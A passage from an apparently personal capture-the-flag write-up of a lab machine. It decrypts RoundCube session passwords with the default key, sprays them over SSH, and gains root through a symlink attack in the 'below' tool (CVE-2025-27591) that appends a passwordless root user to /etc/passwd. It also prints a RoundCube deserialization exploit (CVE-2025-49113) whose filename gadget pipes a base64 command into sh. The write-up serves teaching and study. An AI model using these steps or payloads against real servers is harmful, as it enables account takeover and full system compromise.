oxdf@hacky$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjM7dXNlcm5hbWV8czo1OiJ0eWxlciI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6ImhjVkNTTlhPWWdVWHZoQXJuMWExT0hKdERjaytDRk1FIjtsb2dpbl90aW1lfGk6MTc2Mjg4NTk5Njt0aW1lem9uZXxzOjM6IlVUQyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiSzBRSTZmeHV0ZWFuNm5aSFl1MDU4WGl5MU8iO3JlcXVlc3RfdG9rZW58czozMjoic1JkNjZrQXhMbmJjQjZaTUZzZENiMnc3SDFzektwWm0iO3Rhc2t8czo0OiJtYWlsIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319aW1hcF9ob3N0fHM6OToibG9jYWxob3N0IjtwYWdlfGk6MTttYm94fHM6NToiSU5CT1giO3NvcnRfY29sfHM6MDoiIjtzb3J0X29yZGVyfHM6NDoiREVTQyI7U1RPUkFHRV9USFJFQUR8YTozOntpOjA7czoxMDoiUkVGRVJFTkNFUyI7aToxO3M6NDoiUkVGUyI7aToyO3M6MTQ6Ik9SREVSRURTVUJKRUNUIjt9U1RPUkFHRV9RVU9UQXxiOjA7U1RPUkFHRV9MSVNULUVYVEVOREVEfGI6MTtsaXN0X2F0dHJpYnxhOjY6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjt9dW5zZWVuX2NvdW50fGE6MTp7czo1OiJJTkJPWCI7aTowO30=" | base64 -d | tr ';' '\n'
language|s:5:"en_US"
imap_namespace|a:4:{s:8:"personal"
a:1:{i:0
a:2:{i:0
s:0:""
i:1
s:1:"/"
}}s:5:"other"
N
s:6:"shared"
N
s:10:"prefix_out"
s:0:""
}imap_delimiter|s:1:"/"
imap_list_conf|a:2:{i:0
N
i:1
a:0:{}}user_id|i:3
username|s:5:"tyler"
storage_host|s:9:"localhost"
storage_port|i:143
storage_ssl|b:0
password|s:32:"hcVCSNXOYgUXvhArn1a1OHJtDck+CFME"
login_time|i:1762885996
timezone|s:3:"UTC"
STORAGE_SPECIAL-USE|b:1
auth_secret|s:26:"K0QI6fxutean6nZHYu058Xiy1O"
request_token|s:32:"sRd66kAxLnbcB6ZMFsdCb2w7H1szKpZm"
task|s:4:"mail"
skin_config|a:7:{s:17:"supported_layouts"
a:1:{i:0
s:10:"widescreen"
}s:22:"jquery_ui_colors_theme"
s:9:"bootstrap"
s:18:"embed_css_location"
s:17:"/styles/embed.css"
s:19:"editor_css_location"
s:17:"/styles/embed.css"
s:17:"dark_mode_support"
b:1
s:26:"media_browser_css_location"
s:4:"none"
s:21:"additional_logo_types"
a:3:{i:0
s:4:"dark"
i:1
s:5:"small"
i:2
s:10:"small-dark"
}}imap_host|s:9:"localhost"
page|i:1
mbox|s:5:"INBOX"
sort_col|s:0:""
sort_order|s:4:"DESC"
STORAGE_THREAD|a:3:{i:0
s:10:"REFERENCES"
i:1
s:4:"REFS"
i:2
s:14:"ORDEREDSUBJECT"
}STORAGE_QUOTA|b:0
STORAGE_LIST-EXTENDED|b:1
list_attrib|a:6:{s:4:"name"
s:8:"messages"
s:2:"id"
s:11:"messagelist"
s:5:"class"
s:42:"listing messagelist sortheader fixedheader"
s:15:"aria-labelledby"
s:22:"aria-label-messagelist"
s:9:"data-list"
s:12:"message_list"
s:14:"data-label-msg"
s:18:"The list is empty."
}unseen_count|a:1:{s:5:"INBOX"
i:0
}

One that jumps out is:

password|s:32:"hcVCSNXOYgUXvhArn1a1OHJtDck+CFME"

Decrypt with decrypt.sh

RoundCube has a decrypt.sh script in the bin directory that will handle this decryption:

www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh                                 
Usage: decrypt.sh encrypted-hdr-part [encrypted-hdr-part ...]

I’ll pass it this blob:

www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh hcVCSNXOYgUXvhArn1a1OHJtDck+CFME
LhKL1o9Nm3X2

That’s tyler’s password!

Decrypt Manually

The data is just encrypted using 3DES. I’ll find the key in config.inc.php:

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

The IV is the first eight bytes of the ciphertext. A quick way to do this is to break it apart in Python:

oxdf@hacky$ python
Python 3.12.3 (main, Aug 14 2025, 17:47:21) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
>>> iv = iv_ct[:8]
>>> ct = iv_ct[8:]
>>> iv.hex()
'85c54248d5ce6205'
>>> ct.hex()
'17be102b9f56b538726d0dc93e085304'

And drop it into CyberChef:

image-20251111135832340

I can do this all in CyberChef without Python using Registers, and I’ll show that in Beyond Root.

Get New Password

I’ll repeat the same steps for the other value. I’ll get the password from the serialized data the same as before (this time with a grep to get just the password field):

oxdf@hacky$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7" | base64 -d | tr ';' '\n' | grep password
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"

decrypt.sh will decrypt it:

www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD

SSH

SSH Fail

I’ll take the new password along with the three users I have and try it over SSH:

oxdf@hacky$ netexec ssh 10.10.11.77 -u users -p 595mO8DmwGeD --continue-on-success
SSH         10.10.11.77     22     10.10.11.77      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH         10.10.11.77     22     10.10.11.77      [-] jacob:595mO8DmwGeD
SSH         10.10.11.77     22     10.10.11.77      [-] mel:595mO8DmwGeD
SSH         10.10.11.77     22     10.10.11.77      [-] tyler:595mO8DmwGeD

RoundCube as jacob

This password does work to log into RoundCube as jacob:

image-20251111142016106

The first email is from mel:

image-20251111142038640

It says that jacob has been granted additional privileges to look at log files. The other email is even better:

image-20251111142107789

It’s a new password for jacob!

SSH

This password works for jacob:

oxdf@hacky$ netexec ssh 10.10.11.77 -u users -p gY4Wr3a1evp4 --continue-on-success 
SSH         10.10.11.77     22     10.10.11.77      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH         10.10.11.77     22     10.10.11.77      [+] jacob:gY4Wr3a1evp4  Linux - Shell access!
SSH         10.10.11.77     22     10.10.11.77      [-] mel:gY4Wr3a1evp4
SSH         10.10.11.77     22     10.10.11.77      [-] tyler:gY4Wr3a1evp4

I’ll get a shell:

oxdf@hacky$ sshpass -p gY4Wr3a1evp4 ssh jacob@10.10.11.77
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-63-generic x86_64)
...[snip]...
jacob@outbound:~$ 

And user.txt:

jacob@outbound:~$ cat user.txt
5e7f681c************************

Shell as root

Enumeration

Users

jacob’s home directory is very empty:

jacob@outbound:~$ ls -la
total 28
drwxr-x--- 3 jacob jacob 4096 Jul  8 20:14 .
drwxr-xr-x 5 root  root  4096 Jul  8 20:14 ..
lrwxrwxrwx 1 root  root     9 Jul  8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob  220 Jun  8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun  8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache
-rw-r--r-- 1 jacob jacob  807 Jun  8 12:14 .profile
-rw-r----- 1 root  jacob   33 Nov 11 16:11 user.txt

The same three users are on the box, and jacob can’t access mel or tyler:

jacob@outbound:/home$ ls
jacob  mel  tyler
jacob@outbound:/home$ find . -type f
./jacob/.profile
./jacob/.bash_logout
./jacob/.bashrc
./jacob/user.txt
./jacob/.cache/motd.legal-displayed
find: ‘./mel’: Permission denied
find: ‘./tyler’: Permission denied

jacob can run sudo with the below command (though not with the --config, --debug, or -d flags - I’ll look at these in Beyond Root):

jacob@outbound:/$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

Running below loads all sorts of status properties about the box:

image-20251111143821135

jacob is also in the users group:

jacob@outbound:/$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)

There are no files or directories that are owned by this group:

jacob@outbound:/$ find . -group users 2>/dev/null

Filesystem

/opt has two directories in it:

jacob@outbound:/$ ls /opt/
below  containerd

containerd is related to the running Docker container. below is likely related to the command that I can run with sudo:

jacob@outbound:/$ ls /opt/below/
below  Cargo.lock  Cargo.toml  clippy.toml  CODE_OF_CONDUCT.md  contrib  CONTRIBUTING.md  Dockerfile  Dockerfile.debian  docs  etc  img  LICENSE  README.md  rustfmt.toml  scripts  target

It’s a Rust program (Cargo is the Rust package manager). The Cargo.lock file gives the below version as 0.8.0:

...[snip]...
[[package]]
name = "below"
version = "0.8.0"
dependencies = [
 "anyhow",
 "below-common",
 "below-config",
 "below-dump",
 "below-model",
 "below-store",
 "below-view",
 "cgroupfs",
 "clap",
 "clap_complete",
 "cursive",
 "fb_procfs",
 "indicatif",
 "libbpf-cargo",
 "libbpf-rs",
 "libc",
 "maplit",
 "once_cell",
 "plain",
 "portpicker",
 "regex",
 "serde_json",
 "signal-hook",
 "slog",
 "slog-term",
 "tar",
 "tempfile",
 "tokio",
 "uzers",
]
...[snip]...

/opt/below/below/Cargo.toml also shows this:

# @generated by autocargo from //resctl/below:below

[package]
name = "below"
version = "0.8.0"
authors = ["Daniel Xu <dlxu@fb.com>", "Facebook"]
edition = "2021"
description = "An interactive tool to view and record historical system data"
readme = "../README.md"
repository = "https://github.com/facebookincubator/below"
license = "Apache-2.0"

[package.metadata]

[package.metadata.deb]
depends = "libelf1, libncursesw5, zlib1g"

[package.metadata.deb.systemd-units]
unit-name = "below"
unit-scripts = "../etc"

[dependencies]
anyhow = "1.0.75"
cgroupfs = { version = "0.8.0", path = "cgroupfs" }
clap = { version = "4.5.2", features = ["derive", "env", "string", "unicode", "wrap_help"] }
clap_complete = "4.5.1"
common = { package = "below-common", version = "0.8.0", path = "common" }
config = { package = "below-config", version = "0.8.0", path = "config" }
cursive = { version = "0.20.0", features = ["crossterm-backend"], default-features = false }
dump = { package = "below-dump", version = "0.8.0", path = "dump" }
indicatif = { version = "0.17.6", features = ["improved_unicode", "rayon", "tokio"] }
libbpf-rs = { version = "0.22", git = "https://github.com/libbpf/libbpf-rs.git", rev = "56dca575089ab2144f51b7949a9ee4c9fc226a47", default-features = false }
libc = "0.2.139"
model = { package = "below-model", version = "0.8.0", path = "model" }
once_cell = "1.12"
plain = "0.2"
procfs = { package = "fb_procfs", version = "0.8.0", path = "procfs" }
regex = "1.9.2"
serde_json = { version = "1.0.100", features = ["float_roundtrip", "unbounded_depth"] }
signal-hook = "0.3"
slog = { version = "2.7", features = ["max_level_trace", "nested-values"] }
slog-term = "2.8"
store = { package = "below-store", version = "0.8.0", path = "store" }
tar = "0.4.40"
tempfile = "3.8"
tokio = { version = "1.36.0", features = ["full", "test-util", "tracing"] }
uzers = "0.11.3"
view = { package = "below-view", version = "0.8.0", path = "view" }

[dev-dependencies]
maplit = "1.0"
portpicker = "0.1.1"

[build-dependencies]
libbpf-cargo = { version = "0.22", git = "https://github.com/libbpf/libbpf-rs.git", rev = "56dca575089ab2144f51b7949a9ee4c9fc226a47", default-features = false }

[features]
default = ["libbpf-cargo/default", "libbpf-rs/default"]
enable_backtrace = []
no-vendor = ["store/no-vendor"]

CVE-2025-27591

Background

Below is:

an interactive tool to view and record historical system data.

It’s from the team at Meta / Facebook.

Searching for CVEs in below finds CVE-2025-27591:

A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.

It’s patched in 0.9.0, so this version should be vulnerable. This post on the Openwall security forums describes the issue. On startup, below created the directory /var/log/below and sets its permissions as 777 (which is read/write/execute for all users). It changes the permissions even if it already existed. Then it creates /var/log/below/error_root.log, and then sets the permissions to 666 (world read/write).

The attack is to let it create these directories, and then remove the error_root.log file, and replace it with a symlink to some other file. Then run below again, and it will change the permissions on the target file to 666, allowing me access.

Exploit

I’ve already run below with sudo, so the log directory and file are already there:

jacob@outbound:/var/log$ ls -ld below/
drwxrwxrwx 3 root root 4096 Jul 14 16:39 below/
jacob@outbound:/var/log$ ls -l below/
total 8
-rw-rw-rw- 1 jacob jacob  382 Nov 11 19:37 error_jacob.log
-rw-rw-rw- 1 root  root     0 Jul 14 16:39 error_root.log
drwxr-xr-x 2 root  root  4096 Nov 11 16:10 store

While error_root.log is owned by root, jacob can still remove it:

jacob@outbound:/var/log$ rm below/error_root.log 
jacob@outbound:/var/log$ ls -l below/
total 8
-rw-rw-rw- 1 jacob jacob  382 Nov 11 19:37 error_jacob.log
drwxr-xr-x 2 root  root  4096 Nov 11 16:10 store

Now I’ll create a symlink pointing to passwd:

jacob@outbound:/var/log$ ln -sf /etc/passwd below/error_root.log
jacob@outbound:/var/log$ ls -l below/
total 8
-rw-rw-rw- 1 jacob jacob  382 Nov 11 19:37 error_jacob.log
lrwxrwxrwx 1 jacob jacob   11 Nov 11 19:48 error_root.log -> /etc/passwd
drwxr-xr-x 2 root  root  4096 Nov 11 16:10 store

I’ll run sudo below, then Ctrl-c to exit. Now /etc/passwd is 666:

jacob@outbound:/var/log$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul 14 16:40 /etc/passwd

With access to write to passwd, I’ll add a oxdf user with userid and groupid 0:

jacob@outbound:/var/log$ echo -e 'oxdf::0:0:oxdf:/root:/bin/bash\n' >> /etc/passwd

Now I can switch to that user, who has no password, and be root:

jacob@outbound:/var/log$ su - oxdf
root@outbound:~# 

And read root.txt:

root@outbound:~# cat root.txt
8e53f184************************

Beyond Root

PHP Exploit Payload

POC Source

The main code from this POC collects input and calls exploit:

if ($argc !== 5) {
    echo "Usage: php CVE-2025-49113.php <url> <username> <password> <command>\n";
    exit(1);
}

$baseUrl = $argv[1];
$user = $argv[2];
$pass = $argv[3];
$rceCommand = $argv[4];

exploit($baseUrl, $user, $pass, $rceCommand);

The exploit function handles checking the version, building the PHP serialized object, logging in, and then calling uploadImage where the exploitation happens:

function exploit($baseUrl, $user, $pass, $rceCommand)
{
    echo "[+] Starting exploit (CVE-2025-49113)...\n";

    // Check version before proceeding
    checkVersion($baseUrl);

    // Instantiate the Crypt_GPG_Engine class with the RCE command
    $gpgEngine = new Crypt_GPG_Engine($rceCommand);
    $gadget = $gpgEngine->gadget();

    // Escape double quotes in the gadget
    $gadget = str_replace('"', '\\"', $gadget);

    // Login and get session cookies
    $cookies = login($baseUrl, $user, $pass);

    // Upload the image with the gadget
    uploadImage($baseUrl, $cookies['sessionCookie'], $cookies['authCookie'], $gadget);
}

uploadImage builds the URL and the HTTP request:

function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
{
    $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';

    // Hardcoded PNG image in base64
    $base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';

    // Decode the base64 image
    $fileContent = base64_decode($base64Image);
    if ($fileContent === FALSE) {
        echo "Error: Failed to decode the base64 image.\n";
        exit(1);
    }

    $boundary = uniqid();
    $data = "--" . $boundary . "\r\n" .
            "Content-Disposition: form-data; name=\"_file[]\"; filename=\"" . $gadget . "\"\r\n" .
            "Content-Type: image/png\r\n\r\n" .
            $fileContent . "\r\n" .
            "--" . $boundary . "--\r\n";

    $options = [
        'http' => [
            'header'  => "Content-type: multipart/form-data; boundary=" . $boundary . "\r\n" .
                        "Cookie: " . $sessionCookie . "; " . $authCookie . "\r\n",
            'method'  => 'POST',
            'content' => $data,
            'ignore_errors' => true,
            // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
            // 'proxy' => 'tcp://127.0.0.1:8080',
        ],
    ];
...[snip]...

There’s a dummy image hardcoded into the exploit in base64. I can decode that and open it, and it’s just a gray rectangle:

exploit

The filename parameter of the form data with the raw image data get the serialized payload.

Payload Analysis

I’ll add a couple debug print statements to the code to look at the generated payload. In exploit:

    // Instantiate the Crypt_GPG_Engine class with the RCE command
    $gpgEngine = new Crypt_GPG_Engine($rceCommand);
    $gadget = $gpgEngine->gadget();
    echo "[*] Gadget created: " . $gadget . "\n";

And then later in uploadImage:

    echo "[*] URL: " . $uploadUrl . "\n";
    echo "[*] Exploiting...\n";
    
    $context  = stream_context_create($options);
    $result = file_get_contents($uploadUrl, false, $context);

Now running shows the gadget and the URL:

oxdf@hacky$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "sleep 2"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[*] Gadget created: |O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:34:"echo "c2xlZXAgMg=="|base64 -d|sh;#";s:8:"_homedir";s:0:"";};
[+] Login successful!
[*] URL: http://mail.outbound.htb/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload
[*] Exploiting...
[+] Gadget uploaded successfully!

The serialized PHP object is:

|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:34:"echo "c2xlZXAgMg=="|base64 -d|sh;#";s:8:"_homedir";s:0:"";};

The command echo "c2xlZXAgMg=="|base64 -d|sh;#, and it is my sleep 2:

oxdf@hacky$ echo "c2xlZXAgMg==" | base64 -d
sleep 2

CyberChef 3DES Decrypt

One of the annoyances of something like this in CyberChef is needing to process a string that has both the ciphertext and the IV. I created a video where I walked through this in May 2024.

I’ll start with the encrypted value that’s base64-encoded. The raw data is the IV (eight bytes) followed by the cipher text. I’ll first use “From Base64” to get it to raw, and then “To Hex” to convert it to hex. The hex isn’t necessary, but I find it much easier to work with:

image-20251111140859403

Next I want to get the IV saved off so I can use it later. I’ll use the “Register” operation:

image-20251111140930619

I’ve given it a regex to pull the first 16 bytes (which is 8 bytes hex encoded) and it shows up as $R0 at the bottom. The output doesn’t change.

Next I need to remove the IV to get just the cipher text, so I’ll use “Find / Replace”:

image-20251111141036899

It’s replacing the first 16 characters with nothing. Now that will pass nicely into the “Triple DES Decrypt” operation. To give it the IV saved in the register, I’ll just put in “$R0”:

image-20251111141140262

Below Sudo Rules

jacob can run below with sudo as any user, but is blocked from certain flags:

jacob@outbound:/$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

My theory is that this was done more to restraint HTB players than for realism, but it isn’t crazy.

I’ll use visudo to edit the sudoers file to remove these restrictions:

# Cmnd alias specification  
Cmnd_Alias BLOCKED_BELOW = /usr/bin/below --config*
Cmnd_Alias BLOCKED_BELOW_DEBUG = /usr/bin/below --debug*
Cmnd_Alias BLOCKED_BELOW_DEBUG_ALT = /usr/bin/below -d*

# User privilege specification
root    ALL=(ALL:ALL) ALL
# jacob ALL=(ALL:ALL) NOPASSWD: /usr/bin/below *, !BLOCKED_BELOW, !BLOCKED_BELOW_DEBUG, !BLO>
jacob   ALL=(ALL:ALL) NOPASSWD: /usr/bin/below *

Now jacob can run below without restriction:

jacob@outbound:/var/log$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *

If I try --config and give it root.txt, it spits the flag out in the error:

jacob@outbound:/var/log$ sudo below --config /root/root.txt
Failed to parse config file /root/root.txt: TOML parse error at line 1, column 33
  |
1 | 8e53f184575941711f1c01cfe872b43f
  |                                 ^
expected `.`, `=`

8e53f184575941711f1c01cfe872b43f

I suspect there’s a similar way to dump the flag using the --debug / -d flag.